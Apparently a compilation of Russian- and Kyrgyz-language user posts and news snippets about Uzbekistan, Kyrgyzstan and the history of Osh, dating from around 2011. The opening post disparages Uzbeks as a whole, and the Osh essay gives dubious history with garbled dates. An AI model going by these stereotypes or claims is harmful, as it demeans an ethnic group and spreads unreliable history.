характерная личность для всех узбеков и всего Узбекистана. Этот «узбекский ферганский герой» родился в 1925 году в Ферганской области. С 12 лет работал в колхозе. Был генеральным директором Папского АПК Наманганской обл., Герой СоцТруда, член ЦК КПСС, Депутат ВС СССР. В 1984 году арестован, обвинен в средневековых выходках: строительстве колхозного зиндана, незаконных насильственных действиях, в применении пыток, варварские убийства людей (даже были случаи закатывал людей в асфальт), приписках, в порче природы, нарушениях отчётности и ещё много, много в чём!!! Восемь лет сидел в «Бутырке». В 1991 году освобожден, реабилитирован. В 1993 году вновь арестован и 6 раз судим. А.Одилов воистину был небольшим, но «реальным ханом» в своём отдельно взятом районе, при объявленным в УзССР «развитом социализме» и при наличии, но при полном бездействии узбекских советских партийных, контрольных и органов власти. А.Одилов – это лакмус, типаж узбеков, это и есть сам Узбекистан и его истинный национальный герой! Москве попался на глаза, был разоблачён и привлёкся только один Ахмаджон-ака, а таких реальных «советских ханчиков» различной величины в Узбекистане было много.
Каримов хороший знаток истории. На территории Узбекистана никогда не было единого ханства,были БУХАРА,КОКАНД и ХИВА.Почему три ханства?потому что в этих ханствах проживали различные этносы и народности, которые имели свои менталитет,культуру и языковые особенности. Эти особенности до сих пор имеются. Сколь бы не работала идеологическая машина Каримова по созданию НОВОГО Узбекистана,с использованием лжепроотца всех узбеков АМИРА ТИМУРА,она все равно не будет принята всем населением Узбекистана. ТЕМЕРЛАНУ поставили памятник,создали музей,но Каримов спрашивал у ХОРЕЗМИЙЦЕВ их мнение и отношение к А.Тимуру. Амир ТИМУР по истории несколько раз делал военные походы против ХОРЕЗСКОГО НАРОДА, уничтожая прекрасную цивилизациюХОРЕЗМИЙЦЕВ. Спросите жителей ФЕРГАНСКОЙ долины какое отношение имеет к нынешнему УЗБЕКСКОМУ народу БАБУР,он никогда не былУЗБЕКОМ,он четко пишет свое неприязненное отношение к УЗБЕКАМ. С книгой "БАБУРНАМА",Каримовское правительство вычеркивает целые предложения где описываются отношение БАБУРА к УЗБЕКАМ.
Это единственный народ (УЗБЕКИ)который сделал из своих врагов ИДОЛА для ПОКЛОНЕНИЯ и ВОСХИЩЕНИЯ. До того нынешняя идеология Узбекистана погрязла в обмане своего народа,что всех выдающихся людей,наследников всех народностей СРЕДНЕЙ АЗИИ как ИБН СИНО,ЖАЛОЛИДДИН МАНГУБЕРДИ,АЛЬ_БЕРУНИ,АЛЬ_ХОРЕЗМИ,БАБУРА и других, за 20 лет Независимости Узбекистана сделали узбеками УЗБЕКАМИ.


НУЖНА ЛИ ДЕМОКРАТИЯ ДЛЯ РУКОВОДИТЕЛЕЙ УЗБЕКИСТАНА?

Демократия для Узбекского правительства не НУЖНА,они не хотят разделения УЗБЕКИСТАНА по сценарию ЮГОСЛАВИИ (один народ,язык,но разные языковые диалекты,культура,обычай и традиции).
ДЕМОКРАТИЯ для УЗБЕКИСТАНА означает егоПОЛНЫЙ РАСПАД как государства,на мелкие этнические,национальные и религиозные образования. КАРИМОВ сдерживает демократические перемены,а без демократии не построить нормальную рыночную экономику.Сейчас происходит обнищание всех слоев общества, идет рост населения республики,нехватка питьевой и орашаемой воды. Проводятся тотальные репрессии,слежки и другие государственные преступления против своего народа. В последствий будут происходить рост националистических и религиозных столкновении,массовые беспорядки и различные бунты (например Андижанские события 2005 года).
Рано или поздно любой не демократический,тоталитарный и авторитарный строй падет.
Хотел бы обратить ваше внимание: Из-за разнообразия этносов и национальностей, Каримову трудно назначать хокимов областей и районов. Все вновь назначаемые руководители проходят строгую проверку на родовую,клановую и этническую принадлежность. Сколько перенаписали узбеками,что КАРИМОВ сам не знает кого назначить руководителем областей и районов Узбекистана.Одной из первыми в категорию не желательных попадают этнические таджики. Это нация по численности является второй, после узбеко язычнычных народностей и этносов. Узбекская элита боиться присоединения нескольких областей Узбекистана в Таджикистан.
Узбекское правительство кроме ассимиляции таджикского населения, предпринимает попытки развала Таджикистана как суверенного государства, опираясь на узбекскую диаспору.
Ныне покойный афганский генерал АХМАДШАХ МАСУД ,этнический таджик,имевший 100 тысячную регулярную армию, мечтал создать великое Таджикское государство ,с присоединением ряд областей Узбекистана. Нынешнее руководство Узбекистана, боиться прихода к власти в Афганистане талибанского движения (пуштунов), которые в случае прихода к власти предпримут захватить северные областя Афганистана,где проживают около 8 млн.таджикского населения. Население, которое в любое время может перейти границу Таджикистана, и претендовать на бывшие таджикские территории в Узбекистане.САМАРКАНД,БУХАРА,ФЕРГАНСКАЯ ДОЛИНА,и областя кашкадарьи и сурхандарьи.
Не зря узбекское правительство оказывает содействие странам НАТО и США в борьбе с талибанским движением. Рано или поздно 20 миллионное пуштунское население во главе ХАМИДА КАРЗАЯ создаст на территории Афганистан государства ПУШТУНИСТАН. Пуштуны будут притеснять таджиков в Северном Афганистане, и узбеков проживающих на территории МАЗАРИ-ШАРИФА.
Узбеки в Афганистане насчитываются около 3 млн.человек, лидером афганских узбеков является этнический КУНГРАД, ныне уже узбек, генерал РАШИД ДОСТУМ.
Узбекистан в ближайшем будущем не будет проводить демократизацию общества, из-за боязни возрождения других этносов и этнических групп.Каримов никогда не захочет создания на территории Узбекистана автономных областей ТАДЖИКОВ,ХОРЕЗМИЙЦЕВ,и СУРХАН-КАШКАДАРЬИНСКИХ КУНГРАДЦЕВ.
В любом случае ДЕМОКРАТИческие преобразования в УЗБЕКИСТАНЕ наступят. Население УЗБЕКИСТАНА является частью НАСЕЛЕНИЯ МИРА,они неМАРСИЯНЕ.

Ордолуу Ошубузга биз жаштар конул бурбасак ким конул бурат.Келгиле достор баарыбыз Ош шаарыбызды корктондуролу

Социальный видеоролик сделанный гражданами Кыргызстана неравнодушных к судьбе своей страны, призывающий все нации Кыргызстана к единству, толерантности и сплоченности...

kandaisynar owtuktar?

Нурмухаммед парень из Оша пародирует Майкла Джексона в Стамбуле на минуты славы ..... Весь зал аплодирует стоя , в конце исполнения !!
http://www.youtube.com/watc...

Древний и раннесредневековый г. Ош - один из центров сложения раннего зороастризма огнепоклонничества Современный Ош входит в число исторически известных самых развитых городов Центральной Азии. Ош - один из древних городов мира. Об этом свидетельствуют многочисленные данные: археологические материалы, сведения древних и средневековых письменных источников, религиозная мифология, исторические и фольклорные легенды, труды европейских и русских путешественников XIX-XX веков. По данным археологии, заселение нынешней территории г.Ош и Ошского оазиса началось в глубокой древности 6-7 тыс.лет назад. Однако подлинное хозяйственное и культурное освоение произошло в конце бронзового -начале железного веков XII-VIII в. до н.э. Ошский оазис и г. Ош по своим климатическим условиям относится к северному горному Памиро-Алайскому субтропическому климату, которому характерны среднеянварская температура - 3-5 градусов и июльская - +24,7 градусов, которая благоприятствует ведению интенсивного земледелия и превращению его в цветущий оазис и возникновению протогородской цивилизации. Своеобразное террасовидное расположение Ошского поселения, большое количество расписной посуды и их обломков, орнаментальный узор которых помимо утилитарного, эстетического значения в то время имел глубокий символический, а порой и магический смысл, позволяют рассматривать их как доказательство особого положения Ошского поселения среди других подобных поселений. Оно являлось своеобразным культурно-идеологическим центром всей чустской культуры Ферганы. Среди геометрических орнаментов на расписной посуде Ошского поселения преобладают треугольники, ромбы - треугольники, соединенные основаниями, которые рассматриваются как символ огня, язык пламени, устремленные вверх, как плодоносящая сила земли и т.д. Город Ош по своему физико-географическому и экономическому положению очень благоприятно расположен по сравнению с другими городами Ферганской долины, так как он расположен на местности, где пересекаются Ферганский и Алайский хребты, которые способствуют для выхода в Южную, Юго-восточную и Восточную Азию. По сведениям, дошедшим до нас историко-географических источников, г.Ош является узловым центром Южной ветви Великого Шелкового пути, соединяющим Центральную, Южную и Восточную Азию с Средиземноморьем, Европой. Ядром нынешнего г.Оша явилось Ошское поселение бронзового века на горе Сулейман-Тоо, дата которого установлена радиоуглеродным методом и относится к XII-IX-VIIIв.в. до н.э. и принадлежит к уникальной и загадочной оседлоземледельческой чустской культуре древней Ферганы, в недрах которой происходило разложение первобытнообщинного строя, становление классов и классовой идеологии, первой мировой религии, зороастризма огнепоклонничества, который нашел воплощение в “Авесте”. На горе Сулейман-Тоо города Ош есть пещера Орлиная (в ней сейчас размещен филиал музея), которую отождествляют с чудесной пещерой. Здесь существовал один из самых ранних храмов зороастрийского бинарного (парного) культа вода-огонь (храм реки Охшо, Йахша-Ош и огня). Этимология названия г.Оша связана с зороастрическим речным божеством Оахшо, Охшо (Вахша). Город Ош в китайских письменных источниках упоминается во II в. до н.э., в XII в. до н.э. у знаменитого китайского путешественника Сюань-Цзан, в XIII в. до н.э. в Син Тан Шу. В городе Ош существовал один из самых ранних храмов огня и воды. Это же подтверждают арабо-персидские авторы Ибн Хаукаль, Название г.Оша происходит от древнего названия реки Ак-Буура, которая в VII-ХI вв. и в XIV-XV вв. называлась рекой Ош (Худуд-ал-Алам, Хафиз-и Абруй и др.). Ошское поселение бронзового века создали потомки пастушеско-земледельческих племен гор и степей Кыргызстана, Казахстана и Южной Сибири и считаются ариями и турами, воспетые в “Авесте”, ”Ригведе”. Зороастризм огнепоклонничества древнего населения г.Оша, всех чустсцев древней Ферганы тоже восходит к культу природы, ее сил и стихий, особенно огня и воды у пастушеско-земледельческих племен, их потомки хунну (гунны), древние тюрки, в том числе и кыргызы, тоже почитали, обожествляли природу и у них сформировалось доисламское верование тюркских этносов - тенгрианство. Зороастризм огнепоклонничества указывает на древние общие корни кыргызов с древними корнями индоевропейцев - с индусами, иранцами и славянами. Город Ош был одним из опорных пунктов Кушанской империи в борьбе за овладение Великим Шелковым путем, и именно в Кушанское время через г.Ош сначала в Восточный Туркестан, потом в Китай и на весь Дальний Восток распространился один из мировых религий- буддизм. Город Ош и Ошский оазис был одним из центров разведения знаменитых “Даваньских лошадей”, изображение которых открыты на горе Сулайман-Тоо г.Ош учеными ОшГУ (изображение “даванских лошадей много встречается на скалах гор Ошского оазиса). Археологические данные, а также “Авесты” показывают, что население Ошского поселения бронзового века занимались передовым для того времени плужным земледелием и самое примечательное, это находит прямое отражение в исторических легендах о происхождении города Оша и его названия. Специфические своеобразные особенности расположения Ошского поселения и археологических материалов позволяют рассматривать Ошское поселение своеобразным культурно-идеологическим центром, т.е. святилищем всей чустской культуры Ферганской долины во II-I тысячелетиях до н.э. – I тысячелетия н.э., до превращения горы Сулайман-Тоо в мусульманскую святыню. Археологические, религиоведческие, мифологические, а также антропологические данные свидетельствуют о том, что чустские племена Ферганской долины стояли у истоков становления первой мировой религии - зороастризма огнепоклонничества. Зороастризм огнепоклонничества, возникнув на востоке Средней Азии, в Ферганской долине, оказал существенное влияние на сложение всех последующих мировых религий: иудоизма, буддизма, христианства и ислама. Самое первое святилище зороастрийцев огнепоклонников гора Сулайман-Тоо, после введения ислама в Средней Азии превратилась в мусульманскую святыню всей Средней Азии, занимая в их паломничестве второе место после Мекки. Гора получила имя Сулаймана - пророка -спонтанно, т.к. гора была и раньше святилищем и где зороастрийцы - огнепоклонники совершали моления и жертвоприношения божествам воды и огня, а пророк Сулайман по мусульманской легенде является покровителем речных вод, без которых земледелие немыслимо. Зороастрийская религиозная мифология “Авеста” в знаменитом сочинении “Так говорил Заратуштура”, позволяют предположить, что пророк зороастризма и создатель священной книги “Авесты” Затуштура (зороастр) жил и создавал свое учение в пещере на горе Сулайман-Тоо г.Ош. Ош и сопредельные территории играет значительную роль в формировании европеоидной и монголоидной антропологических типов, представители которых до наших дней являются основными насельниками этого региона. На стыке эпох - в конце I тыс. до н.э., возможно, даже во II тыс. до н.э. и в начале I тыс. н.э. в междуречье Амударьи и Сырдарьи, в том числе и в Ошском оазисе, происходят смешение народов двух различных языковых групп - иранского и тюркского. В результате хозяйственно-культурных контактов, а также социально-политических взаимовлияний, здесь сформировались как ираноязычный (таджики), так и тюркоязычный (кыргызы и узбеки и др.) народы. Этот регион является также местом формирования и распространения таких религий, как зороастризм, буддизм, христианство, ислам и др., которые сыграли огромную историческую роль в объединении и сплочении народов. Среднеазиатское междуречье, в том числе и Ошский оазис является тем местом, где сосуществовали такие хозяйственно-культурные типы как оседло-земледельческая, пастушеско-скотоводческая и торгово-ремесленная культуры. Примерно с I тыс. до н.э. через Ош проходила одна из ветвей Великого Шелкового пути, связывавшего цивилизации Востока и Запада. Средневековый г.Ош и Ошский оазис был одним из центров распространения ислама в Восточный Туркестан, гор и степей Кыргызстана, Казахстана и Южной Сибири. Средневековый г.Ош имел свыше ста мечетей, медресе, великолепные базары, караван-сараи, которые красочно и реально описываются арабо-персидскими авторами. К сожалению, все эти постройки остались безвозвратно потерянными для современной науки и находятся под современными зданиями, и это говорит о том, что к памятникам истории и культуры надо обращаться бережно, их надо изучать, сделать достоянием грядущих поколений

А ТЫ ВЕРИШЬ В БУДУЩЕЕ КЫРГЫЗСТАНА? В ночь с 19 по 20 июля в Баткенской области произошло землятрясение, толчки тем временем ощущались во всей ферганской долине и даже на юге Казахстана. В кыргызстане жертв и раненых нет, но есть более 500 аварийных домов, пострадала Больница и некоторые государственные учереждения, а экономический ущерб оценивается в двести с лишним миллионов СОМОВ !!! Но похоже наших Биев это мало заботит, или не заботит вообще, они взяли вдруг и решили убрать с площади Ала-Тоо статую Эркиндик! Такое чувство что они забыли зачем их выбирал Народ, занимаются чем попало и где попало... Так вот про статую Эркиндик...Замена этой статуи на новую статую Манаса-Великодушного обойдется в 30 миллионов сомов!!! вы только себе представьте !!! У нас огромная Дыра в Бюджете,Народ бедствует,На юге еще управились от прошлогодних событий... А они эти ХАНЫ - решили поменять статую свободы, видать в стране свободы итак много - хотели видимо показать что дескать ждите дальше будет хуже... Если кто не знает(Видимо правительство тоже не знает) Статуя Манаса уже есть напротив Филармонии...Так зачем еще одну? давайте тогда теперь на каждом перекрестке устанавливать статую Мнаса? чтобы народ лучше зажил...А работа...зачем работать когда есть статуя Манаса... Дальше по глупости поступков идёт городская управа во главе с Иса Омуркуловым. Они подумали что на дорогах города не хватает Зелени и за 10 миллионов сомов поставили железные коробки с цветочками у дорог...кому как но это выглядит не очень красиво... дорогое удовольствие - лучше бы построили за эти деньги детский центр для сирот... Осенью грядут президентские выборы, хочется чтобы всё прошло быстро и спокойно, весь мир ждёт сможем ли мы выбрать мирным путём нового президента...Инвесторы,соглашения,экономическая помощь - всё придёт в Кыргызстан в зависимости от того будет ли Политическая стабильность в Кыргызстане. От этой стабильности также будет зависеть отношение нашихсоседей к нам, от закрытых ими границ мы уже настрадались...НЕ ВАЖНО кого выбирать, нужно чтобы всё прошло спокойно и тихо. Еще одной составной частью Президентских Гонок будет Пророссийское направление кандидатов. Кого поддержит Кремль тот и будет выбран ХАНОМ Земли Кыргызской... Наиболее Вероятные Кандидаты это Атамбаев,Ташиев,Мадумаров,Текебаев и Бабанов - один из них со 100% гарантией станет президентом. Недавний БЕНЗИНОВЫЙ КРИЗИС в Кыргызстане докозательство того что мы во всём зависимы от России - следовательно выбор Пророссийского Кандидата наша Обязанность. Мы Должны войти в Таможенный союз, вырастут цены,зароются многие предприятия, экономика переживет резкий спад, но не входить нельзя. Без России и Казахстана наша страна погрязнет в жудком коллапсе,который произойдет после закрытия всех границ нашими северными соседями... из двух ХУДШИХ вариантов нужно выбирать наименее Болезненный а это Вхождение в Союз. Еще один сектор получения прибыли в Копилку Бюджета КР это Туризм. Вы только представьте себе такой потенциал, такого озера,таких гор и такой красоты природы в средней азии НЕТ кроме Земли Кыргызстана...Мы можем стать второй Турцией, доходы могут составлять до 50% бюджета страны. Иссык-куль можно превратить в настоящий мировой Бренд,туристическую Мекку, А наши Горы ничем не Уступают Альпийским...Туризм КРУГЛЫЙ год!!! Давайте только Жить в мире и согласии !!! Тогда в страну потянутся тысячи и миллионы жаждущих отдыха со всего мира!!! Еще не всё Поздно!!! нужно более ответсвтенно относиться к своей стране,к своей семье,к самому себе и своему делу!!! Растёт новое Поколение которе не знает что такое Советский Союз, поколение которое Выросло за Границей, Поколение которое думает по другому. Это Поколение Изменит Кыргызстан,Мы станем жить Лучше! Верьте в Это! Верьте В Свою Страну! Мы Все соседи которые живут в одном доме, давайте соблюдать чистоту и порядок в нашем ДОМЕ !!!! Абдыкадыров Нурбек...

Иностранцы, намеревающиеся работать в России в сфере
жилищно-коммунальных услуг, должны проходить тестирование на знание
русского языка, сообщает "Интерфакс" со ссылкой на директора ФМС РФ Константина Ромодановского.


"Если иностранец работает в России, оказывает услуги людям, то он
должен знать русский язык", - сказал он во время встречи с лидером ЛДПР
Владимиром Жириновским.



По словам директора ФМС, для воплощения этого намерения в жизнь
потребуется соответствующий закон. "Постепенно в отраслях, в которых
работают иностранные мигранты, нужно вводить тестирование на знание
русского языка. Начать можно с ЖКХ", - сказал Ромодановский.



При этом он добавил, что, по его мнению, "русский язык является стержневым элементом для адаптации и интеграции мигрантов".



Ромодановский также сообщил, что, по сведениям его ведомства, в России
сейчас насчитывается 84 национальные диаспоры, лишь часть из которых
сотрудничает с ФМС. Остальные, по его словам, заняты исключительно
наживой.



Еще в 2010 году сообщалось, что доля гастарбайтеров, приезжающих в
Россию без знания государственного языка, за последние пять лет
сократилась в шесть раз. Лишь половина приезжих могла заполнить
официальные документы по-русски.

Фонд «Келечек жаштары» совместно с Министерством по делам молодежи
проводят летний лагерь под названием «Ырыс алды ынтымак» для кыргызских и
узбекских студентов на берегу  озера Иссык-Куль.


Участники лагеря в количестве около 100 человек из городов Бишкека, Оша
и Жалалабада, а также Баткенской области собрались в одном месте.


Как сообщили порталу «Ислам в СНГ» в пресс-службе ДУМ Кыргызстана,
главной целью этого лагеря является укрепление духа дружбы и братства
между молодежью двух наций, пробуждение патриотических чувств и
стимулирование студентов к учебной деятельности.


Лагерь проводится на берегу Иссык-Куля с 10 по 14 июля 2011 года.

мен Кыргызстанды аябай сагындым.Тынчтык болсун жеримде.